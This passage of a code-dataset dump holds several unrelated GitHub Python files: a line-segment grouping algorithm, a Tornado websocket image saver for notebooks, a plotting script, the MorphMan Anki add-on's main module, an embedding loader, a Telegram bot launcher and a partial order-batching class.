(count*100)/len(sen))","repo_name":"abhit-patel/python-assignment-sem-7-","sub_path":"first/sentence.py","file_name":"sentence.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2140044892","text":"# 선분 그룹\n\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(3001)\n\nN = int(input())\nlines = [list(map(int, input().split())) for _ in range(N)]\ntree = [i for i in range(N)]\ngroup = N\nmembers = [1 for _ in range(N)]\n\ndef uFind(k):\n if tree[k] == k:\n return k\n \n tree[k] = uFind(tree[k])\n return tree[k]\n\ndef uMerge(a,b):\n global group\n a = uFind(a)\n b = uFind(b)\n if a == b:\n return\n \n group -= 1\n if members[b] > members[a]:\n a,b = b,a\n members[a] += members[b]\n tree[b] = a\n\ndef isMeet(x1,y1,x2,y2,x3,y3,x4,y4):\n s1 = x1*y2 + x2*y3 + x3*y1 - y1*x2 - y2*x3 - y3*x1\n s2 = x1*y2 + x2*y4 + x4*y1 - y1*x2 - y2*x4 - y4*x1\n s3 = x3*y4 + x4*y1 + x1*y3 - y3*x4 - y4*x1 - y1*x3\n s4 = x3*y4 + x4*y2 + x2*y3 - y3*x4 - y4*x2 - y2*x3\n\n if s1 * s2 <= 0 and s3 * s4 < 0:\n return True\n elif s1 * s2 < 0 and s3 * s4 <= 0:\n return True\n elif s1 * s2 == 0 and s3 * s4 == 0 and \\\n ((min(x1, x2) <= x3 and x3 <= max(x1, x2)) or \\\n (min(x1, x2) <= x4 and x4 <= max(x1, x2))):\n return True\n else:\n return False\n\nfor i in range(N-1):\n for k in range(i+1,N):\n if isMeet(lines[i][0], lines[i][1], lines[i][2], lines[i][3], \\\n lines[k][0], lines[k][1], lines[k][2], lines[k][3]):\n uMerge(i,k)\n\nprint(group)\nprint(max(members))","repo_name":"mi2ntae/Algorithm","sub_path":"python/2020/09-13/2162.py","file_name":"2162.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74944128241","text":" \n\nimport time\nimport os.path\nimport sys, getopt\n\nimport numpy as np\n\nimport tornado.web\nimport tornado.websocket\nimport tornado.ioloop\n\nimport random\nimport json\nimport base64\nimport hashlib\nfrom multiprocessing import Process\nfrom zmq.eventloop import ioloop, zmqstream\n\nwebport = 0\nnb_dir = ''\n\nGLOBALS={\n 'sockets': []\n}\n\n# http://stackoverflow.com/questions/273192/check-if-a-directory-exists-and-create-it-if-necessary\ndef ensure_dir(f):\n d = os.path.dirname(f)\n if not os.path.exists(d):\n os.makedirs(d)\n\ndef md5sum(fname, block_size=2**20):\n f = open(fname, 'rb')\n md5 = hashlib.md5()\n while True:\n data = f.read(block_size)\n if not data:\n break\n md5.update(data)\n f.close()\n return md5.hexdigest()\n\nclass WebSocketHandler(tornado.websocket.WebSocketHandler):\n \"\"\" Handle websocket connections from web browser \n \"\"\"\n def open(self): \n GLOBALS['sockets'].append(self)\n \n def on_close(self):\n GLOBALS['sockets'].remove(self)\n\n def on_message(self, message):\n \"\"\" Receive image from web browser\n Save it to the local 'images' directory under it's name.\n If filename already exists, md5-check if identical, otherwise rename.\n If no filename is given, create unique ID.\n \"\"\"\n x=json.loads(message)\n url = x['url']\n eventtype = x['type']\n\n if eventtype == 'file':\n filename = x['name']\n path = nb_dir + u'\\\\' + x['path'] + u'\\\\images\\\\'\n ensure_dir(path)\n data = x['data'].split(',') # [0] is header, [1] b64 data\n png = base64.b64decode(data[1])\n # check if file exists: skip if identical, rename if new\n if os.path.exists(path+filename):\n# print('File %s already exists' % filename)\n # compare md5sum\n md5_file = md5sum(path+filename)\n d = hashlib.md5()\n d.update(png)\n md5_websocket = d.hexdigest()\n if md5_file != md5_websocket:\n i = 0\n while True:\n if not os.path.exists('%s%0d_%s' % (path, i, filename)):\n break \n filename = '%0d_%s' % (i, filename)\n f = open(path+filename, 'wb')\n f.write(png)\n f.close()\n else:\n f = open(path+filename, 'wb')\n f.write(png)\n f.close()\n status = \"OK\"\n #reply = {\"status\": status, \"name\": 'images/' + filename }\n # send url instead of file path, otherwise it won't work for nbconvert\n url_path = url + '/notebooks' + x['path'] + '/images/' + filename\n reply = {\"status\": status, \"name\": url_path}\n self.write_message(reply) \n else:\n # just reply already existing url \n status = \"OK\"\n reply = {\"status\": status, \"name\": url }\n self.write_message(reply) \n \napplication = tornado.web.Application([\n (r\"/websocket\", WebSocketHandler),\n])\n\n\ndef websocket_server(webport, nbdir):\n global nb_dir\n nb_dir = nbdir\n ioloop.install()\n try:\n application.listen(webport)\n except:\n# print('Port %d already in use!' % webport)\n sys.exit(2)\n main_loop = tornado.ioloop.IOLoop.instance()\n main_loop.start()\n\n\ndef start_server(webport,nb_dir):\n print('webport is %s' % webport)\n print('notebook directory is %s' % nb_dir)\n\n if webport < 1000 or webport > 65535:\n print('Illegal webport adress %d' % webport)\n sys.exit(2)\n\n if not os.path.exists(nb_dir):\n print('Directory %s does not exist' % nb_dir)\n sys.exit(2)\n\n p = Process(target=websocket_server, args=(webport,nb_dir))\n p.start()\n","repo_name":"brianbreitsch/ipython-profile","sub_path":"static/custom/usability/dragdrop/drag_and_drop.py","file_name":"drag_and_drop.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70353885683","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport pandas as pd\nimport glob\nfrom tensorflow.python.summary.summary_iterator import summary_iterator\nimport os\n\nencodings = [\n 'proj-ssp',\n 'sub-toroid-ssp',\n]\n\nenc_names = {\n 'proj-ssp': 'Proj SSP',\n 'sub-toroid-ssp': 'ST SSP',\n}\n\nfunc_names = {\n 'distance': 'Distance',\n 'direction': 'Direction',\n 'centroid': 'Midpoint',\n}\n\nfunctions = [\n 'distance',\n 'direction',\n 'centroid',\n]\n\nseeds = [\n 1,\n 2,\n 3,\n 4,\n 5,\n]\n\nn_projs = [\n 1,\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 50,\n]\n\ndim = 256\nlimit = 5\nn_samples = 20000\n\nfname_cache = \"function_learning_proj_results.csv\"\n\nif os.path.exists(fname_cache):\n df = pd.read_csv(fname_cache)\nelse:\n df = pd.DataFrame()\n for seed in seeds:\n for n_proj in n_projs:\n for enc in encodings:\n for concat in [0, 1]:\n for func in functions:\n path = \"proj_output_function/{}/{}_{}proj_concat{}_seed{}_dim{}_limit{}\".format(\n func,\n enc,\n n_proj,\n concat,\n seed,\n dim,\n limit,\n )\n print(os.getcwd() + \"/\" + path + \"/*/events*\")\n fname = glob.glob(os.getcwd() + \"/\" + path + \"/*/events*\")[0]\n train_loss = -1\n test_loss = -1\n # go through and get the value from the last epoch for each loss\n for e in summary_iterator(fname):\n for v in e.summary.value:\n if v.tag == 'avg_loss':\n train_loss = v.simple_value\n elif v.tag == 'test_loss':\n test_loss = v.simple_value\n df = df.append(\n {\n 'Train Loss': train_loss,\n 'Test Loss': test_loss,\n 'Seed': seed,\n 'Encoding': enc_names[enc],\n 'Function': func,\n 'Concat': concat,\n 'Proj Dim': n_proj\n },\n ignore_index=True\n )\n\n df.to_csv(fname_cache)\n\n# 1 is very bad in general\ndf = df[df['Proj Dim'] != 1]\n\nfig, ax = plt.subplots(2, 3, figsize=(8, 4), sharex=True, sharey=False)\n\nfor concat in [0, 1]:\n for i, func in enumerate(functions):\n df_temp = df[(df['Concat'] == concat) & (df['Function'] == func)]\n sns.barplot(x='Encoding', y='Test Loss', hue='Proj Dim', data=df_temp, ax=ax[concat, i])\n if concat == 0:\n ax[0, i].set_xlabel(\"\")\n ax[0, i].set_title(func_names[func])\n\n if i != 0:\n ax[concat, i].set_ylabel(\"\")\n\nsns.despine()\n\nplt.show()\n","repo_name":"bjkomer/ssp-experiments","sub_path":"function_learning/plot_function_learning_proj_results.py","file_name":"plot_function_learning_proj_results.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10722605491","text":"# -*- coding: utf-8 -*-\nimport time\n\nfrom anki.utils import splitFields, joinFields, stripHTML, intTime, fieldChecksum\nfrom .morphemes import MorphDb, AnkiDeck, getMorphemes\nfrom .morphemizer import getMorphemizerByName\nfrom . import stats\nfrom .util import printf, mw, cfg, cfg1, partial, errorMsg, infoMsg, jcfg, jcfg2, getFilter\nfrom . import util\nfrom .util_external import memoize\n\n# only for jedi-auto-completion\nimport aqt.main\nimport importlib\nassert isinstance(mw, aqt.main.AnkiQt)\n\n@memoize\ndef getFieldIndex( fieldName, mid ):\n \"\"\"\n Returns the index of a field in a model by its name.\n For example: we have the modelId of the card \"Basic\".\n The return value might be \"1\" for fieldName=\"Front\" and\n \"2\" for fieldName=\"Back\".\n \"\"\"\n m = mw.col.models.get( mid )\n d = dict( ( f['name'], f['ord'] ) for f in m['flds'] )\n try: return d[ fieldName ]\n except KeyError: return None\n\ndef extractFieldData( fname, flds, mid ):\n \"\"\"\n :type str fname: The field name (like u'Expression')\n :type str flds: A string containing all field data for the model (created by anki.utils.joinFields())\n :type int mid: the modelId depicing the model for the \"flds\" data\n \"\"\"\n idx = getFieldIndex( fname, mid )\n return stripHTML( splitFields( flds )[ idx ] )\n\n@memoize\ndef getSortFieldIndex( mid ):\n return mw.col.models.get( mid )[ 'sortf' ]\n\ndef setField( mid, fs, k, v ): # nop if field DNE\n \"\"\"\n :type int mid: modelId\n :type [str] fs: a list of all field data :type str k: name of field to modify (for example u'Expression')\n :type str v: new value for field\n \"\"\"\n idx = getFieldIndex( k, mid )\n if idx: fs[ idx ] = v\n\ndef mkAllDb( allDb=None ):\n from . import config; importlib.reload(config)\n t_0, db, TAG = time.time(), mw.col.db, mw.col.tags\n N_notes = db.scalar( 'select count() from notes' )\n N_enabled_notes = 0 # for providing an error message if there is no note that is used for processing\n mw.progress.start( label='Prep work for all.db creation', max=N_notes, immediate=True )\n\n if not allDb: allDb = MorphDb()\n fidDb = allDb.fidDb()\n locDb = allDb.locDb( recalc=False ) # fidDb() already forces locDb recalc\n\n mw.progress.update( label='Generating all.db data' )\n for i,( nid, mid, flds, guid, tags ) in enumerate( db.execute( 'select id, mid, flds, guid, tags from notes' ) ):\n if i % 500 == 0: mw.progress.update( value=i )\n C = partial( cfg, mid, None )\n\n note = mw.col.getNote(nid)\n notecfg = getFilter(note)\n if notecfg is None: continue\n morphemizer = getMorphemizerByName(notecfg['Morphemizer'])\n\n N_enabled_notes += 1\n\n mats = [ ( 0.5 if ivl == 0 and ctype == 1 else ivl ) for ivl, ctype in db.execute( 'select ivl, type from cards where nid = :nid', nid=nid ) ]\n if C('ignore maturity'):\n mats = [ 0 for mat in mats ]\n ts, alreadyKnownTag = TAG.split( tags ), jcfg('Tag_AlreadyKnown')\n if alreadyKnownTag in ts:\n mats += [ C('threshold_mature')+1 ]\n\n for fieldName in notecfg['Fields']:\n try: # if doesn't have field, continue\n #fieldValue = normalizeFieldValue( getField( fieldName, flds, mid ) )\n fieldValue = extractFieldData( fieldName, flds, mid )\n except KeyError: continue\n except TypeError:\n mname = mw.col.models.get( mid )[ 'name' ]\n errorMsg( 'Failed to get field \"{field}\" from a note of model \"{model}\". Please fix your config.py file to match your collection appropriately and ignore the following error.'.format( model=mname, field=fieldName ) )\n raise\n\n loc = fidDb.get( ( nid, guid, fieldName ), None )\n if not loc:\n loc = AnkiDeck( nid, fieldName, fieldValue, guid, mats )\n ms = getMorphemes(morphemizer, fieldValue, ts)\n if ms: #TODO: this needed? should we change below too then?\n #printf( ' .loc for %d[%s]' % ( nid, fieldName ) )\n locDb[ loc ] = ms\n else:\n # mats changed -> new loc (new mats), move morphs\n if loc.fieldValue == fieldValue and loc.maturities != mats:\n #printf( ' .mats for %d[%s]' % ( nid, fieldName ) )\n newLoc = AnkiDeck( nid, fieldName, fieldValue, guid, mats )\n locDb[ newLoc ] = locDb.pop( loc )\n # field changed -> new loc, new morphs\n elif loc.fieldValue != fieldValue:\n #printf( ' .morphs for %d[%s]' % ( nid, fieldName ) )\n newLoc = AnkiDeck( nid, fieldName, fieldValue, guid, mats )\n ms = getMorphemes(morphemizer, fieldValue, ts)\n locDb.pop( loc )\n locDb[ newLoc ] = ms\n\n if N_enabled_notes == 0:\n mw.progress.finish()\n errorMsg('There is no card that can be analyzed or be moved. Add cards or (re-)check your configuration under \"Tools -> MorhpMan Preferences\" or in \"Anki/addons/morph/config.py\" for mistakes.')\n return None\n\n printf( 'Processed all %d notes in %f sec' % ( N_notes, time.time() - t_0 ) )\n mw.progress.update( value=i, label='Creating all.db object' )\n allDb.clear()\n allDb.addFromLocDb( locDb )\n if cfg1('saveDbs'):\n mw.progress.update( value=i, label='Saving all.db to disk' )\n allDb.save( cfg1('path_all') )\n printf( 'Processed all %d notes + saved all.db in %f sec' % ( N_notes, time.time() - t_0 ) )\n mw.progress.finish()\n return allDb\n\ndef filterDbByMat( db, mat ):\n '''Assumes safe to use cached locDb'''\n newDb = MorphDb()\n for loc, ms in db.locDb( recalc=False ).items():\n if loc.maturity > mat:\n newDb.addMsL( ms, loc )\n return newDb\n\ndef updateNotes( allDb ):\n t_0, now, db, TAG = time.time(), intTime(), mw.col.db, mw.col.tags\n ds, nid2mmi = [], {}\n N_notes = db.scalar( 'select count() from notes' )\n mw.progress.start( label='Updating data', max=N_notes, immediate=True )\n fidDb = allDb.fidDb()\n locDb = allDb.locDb( recalc=False ) # fidDb() already forces locDb recalc\n\n # read tag names\n compTag, vocabTag, freshTag, notReadyTag, alreadyKnownTag, priorityTag, tooShortTag, tooLongTag = tagNames = jcfg('Tag_Comprehension'), jcfg('Tag_Vocab'), jcfg('Tag_Fresh'), jcfg('Tag_NotReady'), jcfg('Tag_AlreadyKnown'), jcfg('Tag_Priority'), jcfg('Tag_TooShort'), jcfg('Tag_TooLong')\n TAG.register( tagNames )\n badLengthTag = jcfg2().get('Tag_BadLength')\n\n # handle secondary databases\n mw.progress.update( label='Creating seen/known/mature from all.db' )\n seenDb = filterDbByMat( allDb, cfg1('threshold_seen') )\n knownDb = filterDbByMat( allDb, cfg1('threshold_known') )\n matureDb = filterDbByMat( allDb, cfg1('threshold_mature') )\n mw.progress.update( label='Loading priority.db' )\n priorityDb = MorphDb( cfg1('path_priority'), ignoreErrors=True ).db\n\n if cfg1('saveDbs'):\n mw.progress.update( label='Saving seen/known/mature dbs' )\n seenDb.save( cfg1('path_seen') )\n knownDb.save( cfg1('path_known') )\n matureDb.save( cfg1('path_mature') )\n\n mw.progress.update( label='Updating notes' )\n for i,( nid, mid, flds, guid, tags ) in enumerate( db.execute( 'select id, mid, flds, guid, tags from notes' ) ):\n if i % 500 == 0: mw.progress.update( value=i )\n C = partial( cfg, mid, None )\n\n note = mw.col.getNote(nid)\n notecfg = getFilter(note)\n if notecfg is None or not notecfg['Modify']: continue\n\n # Get all morphemes for note\n morphemes = set()\n for fieldName in notecfg['Fields']:\n try:\n loc = fidDb[ ( nid, guid, fieldName ) ]\n morphemes.update( locDb[ loc ] )\n except KeyError: continue\n\n # Determine un-seen/known/mature and i+N\n unseens, unknowns, unmatures, newKnowns = set(), set(), set(), set()\n for morpheme in morphemes:\n if morpheme not in seenDb.db: unseens.add( morpheme )\n if morpheme not in knownDb.db: unknowns.add( morpheme )\n if morpheme not in matureDb.db: unmatures.add( morpheme )\n if morpheme not in matureDb.db and morpheme in knownDb.db:\n newKnowns.add( morpheme )\n\n # Determine MMI - Morph Man Index\n N, N_s, N_k, N_m = len( morphemes ), len( unseens ), len( unknowns ), len( unmatures )\n\n # Bail early for lite update\n if N_k > 2 and C('only update k+2 and below'): continue\n\n # average frequency of unknowns (ie. how common the word is within your collection)\n F_k = 0\n for focusMorph in unknowns: # focusMorph used outside loop\n F_k += allDb.frequency(focusMorph)\n F_k_avg = F_k // N_k if N_k > 0 else F_k\n usefulness = F_k_avg\n\n # add bonus for morphs in priority.db\n isPriority = False\n for focusMorph in unknowns:\n if focusMorph in priorityDb:\n isPriority = True\n usefulness += C('priority.db weight')\n\n # add bonus for studying recent learned knowns (reinforce)\n for morpheme in newKnowns:\n locs = allDb.db[ morpheme ]\n if locs:\n ivl = min( 1, max( loc.maturity for loc in locs ) )\n usefulness += C('reinforce new vocab weight') // ivl #TODO: maybe average this so it doesnt favor long sentences\n\n if any( morpheme.pos == '動詞' for morpheme in unknowns ): #FIXME: this isn't working???\n usefulness += C('verb bonus')\n\n usefulness = 999 - min( 999, usefulness )\n\n # difference from optimal length range (too little context vs long sentence)\n lenDiffRaw = min(N - C('min good sentence length'),\n max(0, N - C('max good sentence length')))\n lenDiff = min(9, abs(lenDiffRaw))\n\n # calculate mmi\n mmi = 10000*N_k + 1000*lenDiff + usefulness\n if C('set due based on mmi'):\n nid2mmi[ nid ] = mmi\n\n # Fill in various fields/tags on the note based on cfg\n ts, fs = TAG.split( tags ), splitFields( flds )\n\n # clear any 'special' tags, the appropriate will be set in the next few lines\n ts = [ t for t in ts if t not in [ notReadyTag, compTag, vocabTag, freshTag ] ]\n\n # determine card type\n if N_m == 0: # sentence comprehension card, m+0\n ts = ts + [ compTag ]\n setField( mid, fs, jcfg('Field_FocusMorph'), '' )\n elif N_k == 1: # new vocab card, k+1\n ts = ts + [ vocabTag ]\n setField( mid, fs, jcfg('Field_FocusMorph'), '%s' % focusMorph.base )\n elif N_k > 1: # M+1+ and K+2+\n ts = ts + [ notReadyTag ]\n setField( mid, fs, jcfg('Field_FocusMorph'), '')\n elif N_m == 1: # we have k+0, and m+1, so this card does not introduce a new vocabulary -> card for newly learned morpheme\n ts = ts + [ freshTag ]\n setField( mid, fs, jcfg('Field_FocusMorph'), '%s' % list(unmatures)[0].base)\n else: # only case left: we have k+0, but m+2 or higher, so this card does not introduce a new vocabulary -> card for newly learned morpheme\n ts = ts + [ freshTag ]\n setField( mid, fs, jcfg('Field_FocusMorph'), '')\n\n\n # set type agnostic fields\n setField( mid, fs, jcfg('Field_UnknownMorphCount'), '%d' % N_k )\n setField( mid, fs, jcfg('Field_UnmatureMorphCount'), '%d' % N_m )\n setField( mid, fs, jcfg('Field_MorphManIndex'), '%d' % mmi )\n setField( mid, fs, jcfg('Field_Unknowns'), ', '.join( u.base for u in unknowns ) )\n setField( mid, fs, jcfg('Field_Unmatures'), ', '.join( u.base for u in unmatures ) )\n setField( mid, fs, jcfg('Field_UnknownFreq'), '%d' % F_k_avg )\n\n # remove deprecated tag\n if badLengthTag is not None and badLengthTag in ts:\n ts.remove( badLengthTag )\n\n # other tags\n if priorityTag in ts: ts.remove( priorityTag )\n if isPriority: ts.append( priorityTag )\n\n if tooShortTag in ts: ts.remove( tooShortTag )\n if lenDiffRaw < 0: ts.append( tooShortTag )\n\n if tooLongTag in ts: ts.remove( tooLongTag )\n if lenDiffRaw > 0: ts.append( tooLongTag )\n\n # remove unnecessary tags\n if not jcfg('Option_SetNotRequiredTags'):\n unnecessary = [priorityTag, tooShortTag, tooLongTag]\n ts = [tag for tag in ts if tag not in unnecessary]\n\n # update sql db\n tags_ = TAG.join( TAG.canonify( ts ) )\n flds_ = joinFields( fs )\n if flds != flds_ or tags != tags_: # only update notes that have changed\n csum = fieldChecksum( fs[0] )\n sfld = stripHTML( fs[ getSortFieldIndex( mid ) ] )\n ds.append( { 'now':now, 'tags':tags_, 'flds':flds_, 'sfld':sfld, 'csum':csum, 'usn':mw.col.usn(), 'nid':nid } )\n\n mw.progress.update( value=i, label='Updating anki database...' )\n mw.col.db.executemany( 'update notes set tags=:tags, flds=:flds, sfld=:sfld, csum=:csum, mod=:now, usn=:usn where id=:nid', ds )\n\n # Now reorder new cards based on MMI\n mw.progress.update( value=i, label='Updating new card ordering...' )\n ds = []\n\n # \"type = 0\": new cards\n # \"type = 1\": learning cards [is supposed to be learning: in my case no learning card had this type]\n # \"type = 2\": review cards\n for ( cid, nid, due ) in db.execute( 'select id, nid, due from cards where type = 0' ):\n if nid in nid2mmi: # owise it was disabled\n due_ = nid2mmi[ nid ]\n if due != due_: # only update cards that have changed\n ds.append( { 'now':now, 'due':due_, 'usn':mw.col.usn(), 'cid':cid } )\n mw.col.db.executemany( 'update cards set due=:due, mod=:now, usn=:usn where id=:cid', ds )\n mw.reset()\n\n printf( 'Updated notes in %f sec' % ( time.time() - t_0 ) )\n mw.progress.finish()\n return knownDb\n\ndef main():\n # load existing all.db\n mw.progress.start( label='Loading existing all.db', immediate=True )\n t_0 = time.time()\n cur = util.allDb() if cfg1('loadAllDb') else None\n printf( 'Loaded all.db in %f sec' % ( time.time() - t_0 ) )\n mw.progress.finish()\n\n # update all.db\n allDb = mkAllDb( cur )\n if not allDb: # there was an (non-critical-/non-\"exception\"-)error but error message was already displayed\n mw.progress.finish()\n return\n\n # merge in external.db\n mw.progress.start( label='Merging ext.db', immediate=True )\n ext = MorphDb( cfg1('path_ext'), ignoreErrors=True )\n allDb.merge( ext )\n mw.progress.finish()\n\n # update notes\n knownDb = updateNotes( allDb )\n\n # update stats and refresh display\n stats.updateStats( knownDb )\n mw.toolbar.draw()\n\n # set global allDb\n util._allDb = allDb\n","repo_name":"imd/MorphMan21","sub_path":"morph/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"22054521162","text":"import h5py, os\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\n# returns dictionary that maps words to the pre trained vector\n# uses the smaller version of conceptnet\ndef word2vec():\n # load embeddings from file\n with h5py.File(os.path.join(dir_path, 'mini.h5'),'r') as f:\n all_words = [word.decode('utf-8') for word in f['mat']['axis1'][:]]\n all_embeddings = f['mat']['block0_values'][:]\n\n # select only english words\n english_words = [word[6:] for word in all_words\n if word.startswith('/c/en/')]\n # get the index of all english words\n english_word_indices = [i for i, word in enumerate(all_words)\n if word.startswith('/c/en/')]\n # get the embeddings of all english words\n english_embeddings = all_embeddings[english_word_indices]\n # dictionary that maps the word to the index\n index = {word: i for i, word in enumerate(english_words)}\n\n # dictionary that maps words to vectors\n t = {word:english_embeddings[index[word]] for word in english_words}\n return t\n","repo_name":"hiraimarcos/egr190_project","sub_path":"data/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74288114483","text":"import logging\nlogging.basicConfig(level = logging.DEBUG,\n format=\"%(asctime)s - %(name)s - %(message)s - %(levelname)s\")\n\nlogger = logging.getLogger(__name__)\n\nimport os\n\nfrom config import Config\n\nimport pyrogram\nlogging.getLogger('pyrogram').setLevel(logging.WARNING)\n\n\nif __name__ == '__main__':\n if not os.path.isdir(Config.DOWNLOAD_DIR):\n os.mkdir(Config.DOWNLOAD_DIR)\n plugins = dict(root='plugins')\n app = pyrogram.Client(\n 'ftpbottt',\n bot_token = Config.BOT_TOKEN,\n api_id = Config.APP_ID,\n api_hash = Config.API_HASH,\n plugins = plugins\n )\n app.run()\n","repo_name":"Msdph/k-ftp","sub_path":"muxbot.py","file_name":"muxbot.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27000048428","text":"import pandas as pd\nimport numpy as np\nimport time\nfrom sorter import SortNodesFactory\nimport itertools\nimport random\n\n\n# %%\n\nclass Batch:\n\n def __init__(self, boxes, dist_matrix, capacity: list, refpos: list, cust_name: str):\n self.boxes = boxes\n self.distance_matrix = dist_matrix\n self.capacity = sorted(capacity, reverse=True)\n self.refpos = refpos\n self.boxes_to_batch = {}\n self.savings_matrix = []\n self.sorter = SortNodesFactory.create(cust_name)\n self.iteration_counter = 0\n\n def run_batching(self):\n\n '''FUNCTION BATCHES ORDERS TOGETHER (BOXEX IN UPS CASE\n INPUT: DATAFRAME WITH ORDER_ID AND NODELIST; CAPACITY CONSTRAINT, DISTANCE MATRIX, REFFERENCE POSITION\n OUTPUT: LIST OF DICTIONARIES, EACH DICTIONARY IS A BATCH; keys=ORDER_ID, values=LOCATIONS'''\n\n batches = []\n\n NESTED_NODELIST = list(self.boxes['nodelist'])\n self.boxes['sorted_nodes'] = [self.refpos + self.sorter.sort(nodelist) + self.refpos for nodelist in\n NESTED_NODELIST]\n self.boxes['distance_per_box'] = self.boxes['sorted_nodes'].apply(lambda x: self.distance(x))\n self.boxes_to_batch = self.boxes['size'].to_dict()\n\n self.savings_matrix = self.generate_savings_matrix_ip()\n\n # KEEP BATCHING WHILE STILL BOXES LEFT\n while len(self.boxes_to_batch) > 0:\n print('loop1')\n self.iteration_counter = 0\n self.active_capacity = self.capacity[self.iteration_counter]\n\n try: # GENERATE SAVINGS_LIST(matrix) TO PICK INITIAL PAIR AND ADD INITIAL PAIR TO BATCH\n savings_list = self.savings_list_ip(self.savings_matrix)\n batch = self.create_initial_pair(savings_list) # dtype=dict: key=boxnr, value=nodelist\n except:\n batch = {\n list(self.boxes_to_batch.keys())[0]: self.boxes.at[list(self.boxes_to_batch.keys())[0], 'nodelist']}\n batches.append(batch)\n break\n\n # KEEP ADDING TO BATCH WHILE NOT ALL LEVELS ARE FILLED AND BOXES LEFT\n while self.iteration_counter < len(self.capacity) and len(self.boxes_to_batch) > 0:\n print('loop2')\n if self.iteration_counter > 0:\n self.active_capacity = self.capacity[self.iteration_counter]\n else:\n pass\n\n # KEEP BATCHING WHILE LEVEL NOT FULL AND BOXES LEFT\n while self.active_capacity >= 0 and len(self.boxes_to_batch) > 0:\n print('loop3')\n try:\n savings_mat = self.savings_matrix_eb(batch) # MATRIX['BOX', 'SAVING', 'SIZE']\n order_to_add = self.add_to_batch(savings_mat) # SELECT BOX AND REMOVE FROM BOXES TO BATCH\n batch[order_to_add] = self.boxes.at[order_to_add, 'nodelist'] # ADD NEW BOX TO BATCH DICTIONARY\n except:\n self.iteration_counter += 1\n break\n\n batch_orders = list(batch.keys())\n self.savings_matrix.drop(batch_orders, axis=0, inplace=True)\n self.savings_matrix.drop(batch_orders, axis=1, inplace=True)\n batches.append(batch)\n\n return batches\n\n # ------------------------------------------------------------------------------------------------------------------\n # HELPER FUNCTIONS\n # ------------------------------------------------------------------------------------------------------------------\n\n def distance(self, nodelist):\n ''' FUNCTION RETRIEVES DISTANCES FROM THE DISTANCE MATRIX '''\n distance = 0\n for i in range(len(nodelist) - 1):\n dist = self.distance_matrix.at[str(nodelist[i]), str(nodelist[i + 1])]\n if np.isnan(dist):\n dist = self.distance_matrix.get_value(str(nodelist[i + 1]), str(nodelist[i]))\n distance += dist\n return distance\n\n def generate_savings_matrix_ip(self):\n '''GENERATE SAVINGS MATRIX AND FILL WITH FILL SAVINGS MATRIX FUNCTION'''\n matrix = pd.DataFrame(\n data=[[{'box1': max(x, y), 'box2': min(x, y), 'size': self.boxes_to_batch[x] + self.boxes_to_batch[y]}\n for x in self.boxes_to_batch.keys()] for y in self.boxes_to_batch.keys()],\n index=self.boxes_to_batch.keys(), columns=self.boxes_to_batch.keys()).applymap(\n lambda x: self.fill_savings_matrix_ip(x))\n return matrix\n\n def fill_savings_matrix_ip(self, dictionary):\n dict_new = dictionary\n dict_new['saving'] = self.calculate_saving_ip(dict_new['box1'], dict_new['box2'])\n return dict_new\n\n def calculate_saving_ip(self, on1, on2): # ON STANDS FOR ORDER NR.\n '''FUNCTION CALCULATES SAVINGS WHEN COMBINING TWO BOXES'''\n if int(on1) == int(on2):\n saving = np.nan\n else:\n nodelist1 = self.boxes.at[on1, 'nodelist']\n nodelist2 = self.boxes.at[on2, 'nodelist']\n\n nl_combined = nodelist1 + nodelist2\n nl_sorted = self.refpos + self.sorter.sort(nl_combined) + self.refpos\n\n dist_combined = self.distance(nl_sorted)\n dist_sep = self.boxes.at[on1, 'distance_per_box'] + self.boxes.at[on2, 'distance_per_box']\n saving = dist_sep - dist_combined\n return saving\n\n def savings_list_ip(self, savings_matrix):\n SL = []\n savings_matrix.applymap(lambda x: SL.append(x))\n savings_list = pd.DataFrame(SL)\n savings_list['size'] = savings_list['size'].apply(lambda x: self.capacity_constraint(x))\n savings_list.dropna(inplace=True)\n savings_list.drop_duplicates(inplace=True)\n savings_list.sort_values(['saving', 'size'], ascending=[False, True], inplace=True)\n savings_list.reset_index(inplace=True)\n return savings_list\n\n def capacity_constraint(self, value):\n if value > self.active_capacity:\n return np.nan\n else:\n return value\n\n def create_initial_pair(self, savings_list):\n '''STARTS BATCHING BY PLACING THE FIRST TWO ITEMS IN A BATCH'''\n ord1 = {'on': savings_list.at[0, 'box1'], 'size': self.boxes.at[savings_list.at[0, 'box1'], 'size']}\n ord2 = {'on': savings_list.at[0, 'box2'], 'size': self.boxes.at[savings_list.at[0, 'box2'], 'size']}\n initial_pair = {ord1['on']: self.boxes.at[ord1['on'], 'nodelist'],\n ord2['on']: self.boxes.at[ord2['on'], 'nodelist']}\n del self.boxes_to_batch[ord1['on']]\n del self.boxes_to_batch[ord2['on']]\n self.reduce_capacity(ord1['size'] + ord2['size'])\n return initial_pair\n\n def reduce_capacity(self, size):\n self.active_capacity -= size\n\n def savings_matrix_eb(self, batch):\n nodelist_batch = list(itertools.chain(*batch.values()))\n boxes_to_batch = list(self.boxes_to_batch.keys())\n savings_matrix = pd.DataFrame(data=boxes_to_batch, index=boxes_to_batch, columns=['saving'])\n savings_matrix['size'] = savings_matrix['saving'].apply(lambda x: self.boxes.at[str(x), 'size'])\n savings_matrix['size'] = savings_matrix['size'].apply(lambda x: self.capacity_constraint(x))\n savings_matrix.dropna(inplace=True)\n savings_matrix['saving'] = 